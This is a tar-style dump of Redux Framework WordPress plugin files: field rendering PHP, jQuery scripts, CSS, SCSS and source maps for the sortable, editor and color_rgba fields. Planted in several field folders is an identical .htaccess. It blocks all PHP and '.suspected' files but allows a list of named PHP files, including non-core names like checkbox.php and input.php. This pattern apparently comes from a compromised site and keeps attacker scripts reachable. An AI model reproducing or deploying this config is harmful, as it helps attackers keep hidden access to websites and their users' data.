) { $dummyArr[ $k ] = $this->value[ $k ]; } unset( $this->value ); $this->value = $dummyArr; unset( $dummyArr ); } $use_labels = false; $label_class = ''; if ( $this->field['mode'] != "checkbox" ) { if ( ( isset( $this->field['label'] ) && $this->field['label'] == true ) ) { $use_labels = true; $label_class = ' labeled'; } } echo '<ul id="' . $this->field['id'] . '-list" class="redux-sortable ' . $class . ' ' . $label_class . '">'; foreach ( $this->value as $k => $nicename ) { echo '<li>'; $checked = ""; $name = 'name="' . $this->field['name'] . $this->field['name_suffix'] . '[' . $k . ']' . '" '; if ( $this->field['mode'] == "checkbox" ) { $value_display = $this->value[ $k ]; if ( ! empty( $this->value[ $k ] ) ) { $checked = 'checked="checked" '; } $class .= " checkbox_sortable"; $name = ""; echo '<input type="hidden" name="' . $this->field['name'] . $this->field['name_suffix'] . '[' . $k . ']' . '" id="' . $this->field['id'] . '-' . $k . '-hidden" value="' . $value_display . '" />'; echo '<div class="checkbox-container">'; } else { $value_display = isset( $this->value[ $k ] ) ? $this->value[ $k ] : ''; $nicename = $this->field['options'][$k]; } if ($this->field['mode'] != "checkbox") { if ($use_labels) { echo '<label class="bugger" for="' . $this->field['id'] . '[' . $k . ']"><strong>' . $k . '</strong></label>'; echo "<br />"; } } echo '<input rel="' . $this->field['id'] . '-' . $k . '-hidden" class="' . $class . '" ' . $checked . 'type="' . $this->field['mode'] . '" ' . $name . 'id="' . $this->field['id'] . '[' . $k . ']" value="' . esc_attr( $value_display ) . '" placeholder="' . $nicename . '" />'; echo '<span class="compact drag"><i class="el el-move icon-large"></i></span>'; //if ( ( isset( $this->field['label'] ) && $this->field['label'] == true ) ) { if ($this->field['mode'] == "checkbox") { if ( $this->field['mode'] != "checkbox" ) { //echo "<br />"; //echo '<label for="' . $this->field['id'] . '[' . $k . ']"><strong>' . $k . '</strong></label>'; } else { echo '<label for="' . $this->field['id'] . '[' . $k . ']"><strong>' . $options[$k] . '</strong></label>'; } } if ( $this->field['mode'] == "checkbox" ) { echo '</div>'; } echo '</li>'; } echo '</ul>'; } function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-sortable-css', ReduxFramework::$_url . 'inc/fields/sortable/field_sortable.css', array(), time(), 'all' ); } wp_enqueue_script( 'redux-field-sortable-js', ReduxFramework::$_url . 'inc/fields/sortable/field_sortable' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-js', 'jquery-ui-sortable' ), time(), true ); } } } �������������������������������������������������������������������redux-framework/inc/fields/sortable/field_sortable.css����������������������������������������������0000644�����������������00000001670�14720701300�0017206 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-sortable i.el{cursor:move}.redux-container-sortable label{margin-right:10px;width:300px}.redux-container-sortable label.bugger{margin-bottom:0px !important;font-size:12px !important;color:#999999}.redux-container-sortable input{margin-right:10px}.redux-container-sortable .checkbox-container{width:364px}.redux-container-sortable .checkbox-container .drag{float:right;margin-left:10px}.redux-container-sortable ul.labeled li{line-height:1.4em !important}.redux-container-sortable li{line-height:30px !important}.redux-container-sortable li.ui-state-highlight{height:30px;width:364px;margin-bottom:13px}.redux-container-sortable li.placeholder{height:30px;margin:10px 0}.wp-customizer .redux-sortable input[type="text"]{width:92%}.wp-customizer .redux-sortable i.el{margin-left:5px}.wp-customizer .redux-container-sortable .checkbox-container{width:inherit}.wp-customizer .redux-container-sortable .ui-draggable-handle{margin-left:3%} ������������������������������������������������������������������������redux-framework/inc/fields/sortable/field_sortable.js�����������������������������������������������0000644�����������������00000006232�14720701300�0017031 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global jQuery, document, redux_change, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.sortable = redux.field_objects.sortable || {}; var scroll = ''; redux.field_objects.sortable.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-sortable:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( ".redux-sortable" ).sortable( { handle: ".drag", placeholder: "placeholder", opacity: 0.7, scroll: false, out: function( event, ui ) { if ( !ui.helper ) return; if ( ui.offset.top > 0 ) { scroll = 'down'; } else { scroll = 'up'; } redux.field_objects.sortable.scrolling( $( this ).parents( '.redux-field-container:first' ) ); }, over: function( event, ui ) { scroll = ''; }, deactivate: function( event, ui ) { scroll = ''; }, update: function(event, ui) { redux_change( $( this ) ); } } ); el.find( '.checkbox_sortable' ).on( 'click', function() { if ( $( this ).is( ":checked" ) ) { el.find( '#' + $( this ).attr( 'rel' ) ).val( 1 ); } else { el.find( '#' + $( this ).attr( 'rel' ) ).val( '' ); } } ); } ); }; redux.field_objects.sortable.scrolling = function( selector ) { if (selector === undefined) { return; } var $scrollable = selector.find( ".redux-sorter" ); if ( scroll == 'up' ) { $scrollable.scrollTop( $scrollable.scrollTop() - 20 ); setTimeout( redux.field_objects.sortable.scrolling, 50 ); } else if ( scroll == 'down' ) { $scrollable.scrollTop( $scrollable.scrollTop() + 20 ); setTimeout( redux.field_objects.sortable.scrolling, 50 ); } }; })( jQuery );����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/sortable/.htaccess�������������������������������������������������������0000644�����������������00000001626�14720701300�0015315 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/editor/field_editor.min.js�����������������������������������������������0000644�����������������00000001075�14720701300�0016741 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(t){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.editor=redux.field_objects.editor||{},t(document).ready(function(){}),redux.field_objects.editor.init=function(e){setTimeout(function(){if("undefined"!=typeof tinymce)for(var e=0;e<tinymce.editors.length;e++)redux.field_objects.editor.onChange(e)},1e3)},redux.field_objects.editor.onChange=function(e){tinymce.editors[e].on("change",function(e){0!==jQuery(e.target.contentAreaContainer).parents(".redux-container-editor:first").length&&redux_change(t(".wp-editor-area"))})}}(jQuery);�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/editor/field_editor.php��������������������������������������������������0000644�����������������00000007234�14720701300�0016335 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Editor * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @author Kevin Provance (kprovance) * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_editor' ) ) { /** * Main ReduxFramework_editor class * * @since 1.0.0 */ class ReduxFramework_editor { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { if ( ! isset( $this->field['args'] ) ) { $this->field['args'] = array(); } $this->field['args']['onchange_callback'] = "alert('here')"; // Setup up default args $defaults = array( 'textarea_name' => $this->field['name'] . $this->field['name_suffix'], 'editor_class' => $this->field['class'], 'textarea_rows' => 10, //Wordpress default 'teeny' => true, ); if ( isset( $this->field['editor_options'] ) && empty( $this->field['args'] ) ) { $this->field['args'] = $this->field['editor_options']; unset( $this->field['editor_options'] ); } $this->field['args'] = wp_parse_args( $this->field['args'], $defaults ); wp_editor( $this->value, $this->field['id'], $this->field['args'] ); } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-editor-css', ReduxFramework::$_url . 'inc/fields/editor/field_editor.css', array(), time(), 'all' ); } wp_enqueue_script( 'redux-field-editor-js', ReduxFramework::$_url . 'inc/fields/editor/field_editor' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-js' ), time(), true ); } } }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/editor/field_editor.css.map����������������������������������������������0000644�����������������00000001503�14720701300�0017103 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,qCAAc;EACV,YAAY,EAAE,GAAG;EACjB,MAAM,EAAE,CAAC;EACT,OAAO,EAAE,GAAG;AAGhB;gCACS;EACL,MAAM,EAAE,OAAO;AAGnB,gCAAS;EACL,YAAY,EAAE,IAAI;EAClB,MAAM,EAAE,CAAC;EACT,YAAY,EAAE,CAAC;AAGnB,4CAAqB;EACjB,qBAAqB,EAAE,GAAG;EAC1B,kBAAkB,EAAE,GAAG;EACvB,aAAa,EAAE,GAAG;EAElB,qDAAS;IACL,qBAAqB,EAAE,CAAC;IACxB,kBAAkB,EAAE,CAAC;IACrB,aAAa,EAAE,CAAC;IAChB,YAAY,EAAE,OAAO;AAI7B,gDAAyB;EACrB,MAAM,EAAE,WAAW;EACnB,WAAW,EAAE,IAAI;EACjB,OAAO,EAAE,YAAY;EACrB,SAAS,EAAE,IAAI;EACf,OAAO,EAAE,OAAO;EAChB,IAAI,EAAE,6CAA6C;EACnD,KAAK,EAAE,OAAO;EACd,MAAM,EAAE,iBAAiB;EACzB,qBAAqB,EAAE,GAAG;EAC1B,aAAa,EAAE,GAAG;EAClB,UAAU,EAAE,IAAI;EAChB,gBAAgB,EAAE,wEAAwE;EAC1F,gBAAgB,EAAE,8CAA8C;EAChE,gBAAgB,EAAE,2CAA2C;EAC7D,gBAAgB,EAAE,yCAAyC;EAC3D,gBAAgB,EAAE,sCAAsC", "sources": ["field_editor.scss"], "names": [], "file": "field_editor.css" }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/editor/field_editor.js���������������������������������������������������0000644�����������������00000002437�14720701300�0016162 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * Redux Editor on change callback * Dependencies : jquery * Feature added by : Dovy Paukstys * : Kevin Provance (who helped) :P * Date : 07 June 2014 */ /*global redux_change, wp, tinymce, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.editor = redux.field_objects.editor || {}; $( document ).ready( function() { //redux.field_objects.editor.init(); } ); redux.field_objects.editor.init = function( selector ) { setTimeout( function() { if (typeof(tinymce) !== 'undefined') { for ( var i = 0; i < tinymce.editors.length; i++ ) { redux.field_objects.editor.onChange( i ); } } }, 1000 ); }; redux.field_objects.editor.onChange = function( i ) { tinymce.editors[i].on( 'change', function( e ) { var el = jQuery( e.target.contentAreaContainer ); if ( el.parents( '.redux-container-editor:first' ).length !== 0 ) { redux_change( $( '.wp-editor-area' ) ); } } ); }; })( jQuery ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/editor/field_editor.css��������������������������������������������������0000644�����������������00000002110�14720701300�0016322 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-editor .mceLayout td{border-width:1px;margin:0;padding:1px}.redux-container-editor input,.redux-container-editor textarea{margin:inherit}.redux-container-editor textarea{border-style:none;border:0;border-width:0}.redux-container-editor .wp-editor-container{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.redux-container-editor .wp-editor-container textarea{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;border-style:inherit}.redux-container-editor .quicktags-toolbar input{margin:2px 1px 4px;line-height:18px;display:inline-block;min-width:26px;padding:2px 4px;font:12px/18px Arial, Helvetica, sans-serif normal;color:#464646;border:1px solid #c3c3c3;-webkit-border-radius:3px;border-radius:3px;background:#eee;background-image:-webkit-gradient(linear, left bottom, left top, from(#e3e3e3), to(#fff));background-image:-webkit-linear-gradient(bottom, #e3e3e3, #fff);background-image:-moz-linear-gradient(bottom, #e3e3e3, #fff);background-image:-o-linear-gradient(bottom, #e3e3e3, #fff);background-image:linear-gradient(to top, #e3e3e3, #fff)} ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/editor/.htaccess���������������������������������������������������������0000644�����������������00000001626�14720701300�0014770 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/editor/field_editor.scss�������������������������������������������������0000644�����������������00000002474�14720701300�0016522 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-editor { .mceLayout td { border-width: 1px; margin: 0; padding: 1px; } input, textarea { margin: inherit; } textarea { border-style: none; border: 0; border-width: 0; } .wp-editor-container { -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; textarea { -webkit-border-radius: 0; -moz-border-radius: 0; border-radius: 0; border-style: inherit; } } .quicktags-toolbar input { margin: 2px 1px 4px; line-height: 18px; display: inline-block; min-width: 26px; padding: 2px 4px; font: 12px/18px Arial, Helvetica, sans-serif normal; color: #464646; border: 1px solid #c3c3c3; -webkit-border-radius: 3px; border-radius: 3px; background: #eee; background-image: -webkit-gradient(linear, left bottom, left top, from(#e3e3e3), to(#fff)); background-image: -webkit-linear-gradient(bottom, #e3e3e3, #fff); background-image: -moz-linear-gradient(bottom, #e3e3e3, #fff); background-image: -o-linear-gradient(bottom, #e3e3e3, #fff); background-image: linear-gradient(to top, #e3e3e3, #fff); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_rgba/field_color_rgba.js�������������������������������������������0000644�����������������00000022114�14720701300�0017622 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(function($){ 'use strict'; redux.field_objects = redux.field_objects || {}; redux.field_objects.color_rgba = redux.field_objects.color_rgba || {}; redux.field_objects.color_rgba.fieldID = ''; redux.field_objects.color_rgba.hexToRGBA = function( hex, alpha ) { var result; if (hex === null) { result = ''; } else { hex = hex.replace('#', ''); var r = parseInt(hex.substring(0, 2), 16); var g = parseInt(hex.substring(2, 4), 16); var b = parseInt(hex.substring(4, 6), 16); result = 'rgba(' + r + ',' + g + ',' + b + ',' + alpha + ')'; } return result; }; redux.field_objects.color_rgba.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-color_rgba:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } redux.field_objects.color_rgba.modInit(el); redux.field_objects.color_rgba.initColorPicker(el); }); }; redux.field_objects.color_rgba.modInit = function(el) { redux.field_objects.color_rgba.fieldID = el.find('.redux-color_rgba-container').data('id'); }; // Initialize colour picker redux.field_objects.color_rgba.initColorPicker = function(el){ // Get field ID var field_id = redux.field_objects.color_rgba.fieldID; // Get the color scheme container var colorpickerInput = el.find('.redux-color-rgba'); // Get alpha value and sanitize it var currentAlpha = colorpickerInput.data('current-alpha'); currentAlpha = Number((currentAlpha === null || currentAlpha === undefined) ? 1 : currentAlpha); // Get colour value and sanitize it var currentColor = colorpickerInput.data('current-color'); currentColor = (currentColor === '' || currentColor === 'transparent') ? '' : currentColor; var outputTransparent = colorpickerInput.data('output-transparent'); outputTransparent = Boolean((outputTransparent === '') ? false : outputTransparent); // Color picker arguments var container = el.find('.redux-color-rgba-container'); // Get, decode and parse palette. var palette = container.data('palette'); palette = decodeURIComponent(palette); palette = JSON.parse(palette); // Default palette if (palette === null) { palette = [ ["#000000", "#434343", "#666666", "#999999", "#b7b7b7", "#cccccc", "#d9d9d9", "#efefef", "#f3f3f3", "#ffffff"], ["#980000", "#ff0000", "#ff9900", "#ffff00", "#00ff00", "#00ffff", "#4a86e8", "#0000ff", "#9900ff", "#ff00ff"], ["#e6b8af", "#f4cccc", "#fce5cd", "#fff2cc", "#d9ead3", "#d9ead3", "#c9daf8", "#cfe2f3", "#d9d2e9", "#ead1dc"], ["#dd7e6b", "#ea9999", "#f9cb9c", "#ffe599", "#b6d7a8", "#a2c4c9", "#a4c2f4", "#9fc5e8", "#b4a7d6", "#d5a6bd"], ["#cc4125", "#e06666", "#f6b26b", "#ffd966", "#93c47d", "#76a5af", "#6d9eeb", "#6fa8dc", "#8e7cc3", "#c27ba0"], ["#a61c00", "#cc0000", "#e69138", "#f1c232", "#6aa84f", "#45818e", "#3c78d8", "#3d85c6", "#674ea7", "#a64d79"], ["#85200c", "#990000", "#b45f06", "#bf9000", "#38761d", "#134f5c", "#1155cc", "#0b5394", "#351c75", "#741b47"], ["#5b0f00", "#660000", "#783f04", "#7f6000", "#274e13", "#0c343d", "#1c4587", "#073763", "#20124d", "#4c1130"] ]; } // Get and sanitize show input argument var showInput = container.data('show-input'); showInput = Boolean((showInput === '') ? false : showInput); // Get and sanitize show initial argument var showInitial = container.data('show-initial'); showInitial = Boolean((showInitial === '') ? false : showInitial); // Get and sanitize show alpha argument var showAlpha = container.data('show-alpha'); showAlpha = Boolean((showAlpha === '') ? false : showAlpha); // Get and sanitize allow empty argument var allowEmpty = container.data('allow-empty'); allowEmpty = Boolean((allowEmpty === '') ? false : allowEmpty); // Get and sanitize show palette argument var showPalette = container.data('show-palette'); showPalette = Boolean((showPalette === '') ? false : showPalette); // Get and sanitize show palette only argument var showPaletteOnly = container.data('show-palette-only'); showPaletteOnly = Boolean((showPaletteOnly === '') ? false : showPaletteOnly); // Get and sanitize show selection palette argument var showSelectionPalette = container.data('show-selection-palette'); showSelectionPalette = Boolean((showSelectionPalette === '') ? false : showSelectionPalette); // Get max palette size var maxPaletteSize = Number(container.data('max-palette-size')); // Get and sanitize clickout fires change argument var clickoutFiresChange = container.data('clickout-fires-change'); clickoutFiresChange = Boolean((clickoutFiresChange === '') ? false : clickoutFiresChange); // Get choose button text var chooseText = String(container.data('choose-text')); // Get cancel button text var cancelText = String(container.data('cancel-text')); // Get cancel button text var inputText = String(container.data('input-text')); // Get and sanitize show buttons argument var showButtons = container.data('show-buttons'); showButtons = Boolean((showButtons === '') ? false : showButtons); // Get container class var containerClass = String(container.data('container-class')); // Get replacer class var replacerClass = String(container.data('replacer-class')); // Color picker options colorpickerInput.spectrum({ color: currentColor, //'#ffffff', showAlpha: showAlpha, showInput: showInput, allowEmpty: allowEmpty, className: 'redux-color-rgba', showInitial: showInitial, showPalette: showPalette, showSelectionPalette: showSelectionPalette, maxPaletteSize: maxPaletteSize, showPaletteOnly: showPaletteOnly, clickoutFiresChange: clickoutFiresChange, chooseText: chooseText, cancelText: cancelText, showButtons: showButtons, containerClassName: containerClass, replacerClassName: replacerClass, preferredFormat: 'hex6', localStorageKey: 'redux.color-rgba.' + field_id, palette: palette, inputText: inputText, // on change change: function(color) { var colorVal, alphaVal, rgbaVal; if (color === null) { if (outputTransparent === true) { colorVal = 'transparent'; } else { colorVal = null; } alphaVal = null; } else { colorVal = color.toHexString(); alphaVal = color.alpha; } if (colorVal != 'transparent') { rgbaVal = redux.field_objects.color_rgba.hexToRGBA(colorVal, alphaVal); } else { rgbaVal = 'transparent'; } var blockID = $(this).data('block-id'); // Update HTML color value el.find('input#' + blockID + '-color').val(colorVal); // Update HTML alpha value el.find('input#' + blockID + '-alpha').val(alphaVal); // Update RGBA alpha value el.find('input#' + blockID + '-rgba').val(rgbaVal); redux_change(el.find('.redux-color-rgba-container')); } }); }; })(jQuery);����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_rgba/field_color_rgba.css������������������������������������������0000644�����������������00000002172�14720701300�0020000 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.sp-container{color:#555;border-color:#cccccc;background:#f7f7f7;-webkit-box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,0.08);box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,0.08);vertical-align:top}.sp-replacer{color:#555;border-color:#cccccc;background:#f7f7f7;-webkit-box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,0.08);box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,0.08);vertical-align:top}.sp-replacer:focus,.sp-replacer:hover,.sp-replacer.focus,.sp-replacer.hover{background:#fafafa;border-color:#999;color:#222}.sp-replacer:focus,.sp-replacer.focus{-webkit-box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,0.8);box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,0.8)}.sp-replacer.active:focus{-webkit-box-shadow:inset 0 2px 5px -3px rgba(0,0,0,0.5),0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,0.8);box-shadow:inset 0 2px 5px -3px rgba(0,0,0,0.5),0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,0.8)}.sp-replacer.active,.sp-replacer.active:hover,.sp-replacer:active{background:#eee;border-color:#999;color:#333;-webkit-box-shadow:inset 0 2px 5px -3px rgba(0,0,0,0.5);box-shadow:inset 0 2px 5px -3px rgba(0,0,0,0.5)} ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_rgba/field_color_rgba.scss�����������������������������������������0000644�����������������00000003225�14720701300�0020163 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.sp-container { /* border: solid 1px black; -webkit-box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5), 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, 0.8); box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5), 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, 0.8);*/ color: #555; border-color: #cccccc; background: #f7f7f7; -webkit-box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 ); box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 ); vertical-align: top; } .sp-replacer { color: #555; border-color: #cccccc; background: #f7f7f7; -webkit-box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 ); box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 ); vertical-align: top; } .sp-replacer:focus, .sp-replacer:hover, .sp-replacer.focus, .sp-replacer.hover { background: #fafafa; border-color: #999; color: #222; } .sp-replacer:focus, .sp-replacer.focus { -webkit-box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8); box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8); } .sp-replacer.active:focus { -webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ), 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8); box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ), 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8); } .sp-replacer.active, .sp-replacer.active:hover, .sp-replacer:active{ background: #eee; border-color: #999; color: #333; -webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ); box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ); } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_rgba/field_color_rgba.css.map��������������������������������������0000644�����������������00000001337�14720701300�0020556 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AAAA,aAAc;EACd;;oHAEkH;EACjH,KAAK,EAAE,IAAI;EACX,YAAY,EAAE,OAAO;EACrB,UAAU,EAAE,OAAO;EACnB,kBAAkB,EAAE,+CAAiD;EACrE,UAAU,EAAE,+CAAiD;EAC5D,cAAc,EAAE,GAAG;;AAGrB,YAAa;EACT,KAAK,EAAE,IAAI;EACX,YAAY,EAAE,OAAO;EACrB,UAAU,EAAE,OAAO;EACnB,kBAAkB,EAAE,+CAAiD;EACrE,UAAU,EAAE,+CAAiD;EAC7D,cAAc,EAAE,GAAG;;AAGvB;;;kBAGmB;EACf,UAAU,EAAE,OAAO;EACnB,YAAY,EAAE,IAAI;EAClB,KAAK,EAAE,IAAI;;AAGf;kBACmB;EACf,kBAAkB,EACV,sDACkC;EAC1C,UAAU,EACF,sDACkC;;AAI9C,yBAA0B;EACzB,kBAAkB,EACjB,+FAEkC;EACnC,UAAU,EACT,+FAEkC;;AAGpC;;mBAEmB;EACf,UAAU,EAAE,IAAI;EAChB,YAAY,EAAE,IAAI;EAClB,KAAK,EAAE,IAAI;EACX,kBAAkB,EAAE,uCAAyC;EAC7D,UAAU,EAAE,uCAAyC", "sources": ["field_color_rgba.scss"], "names": [], "file": "field_color_rgba.css" }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_rgba/field_color_rgba.min.js���������������������������������������0000644�����������������00000007072�14720701300�0020412 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(B){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.color_rgba=redux.field_objects.color_rgba||{},redux.field_objects.color_rgba.fieldID="",redux.field_objects.color_rgba.hexToRGBA=function(e,a){var r;null===e?r="":(e=e.replace("#",""),r="rgba("+parseInt(e.substring(0,2),16)+","+parseInt(e.substring(2,4),16)+","+parseInt(e.substring(4,6),16)+","+a+")");return r},redux.field_objects.color_rgba.init=function(e){e||(e=B(document).find(".redux-group-tab:visible").find(".redux-container-color_rgba:visible")),B(e).each(function(){var 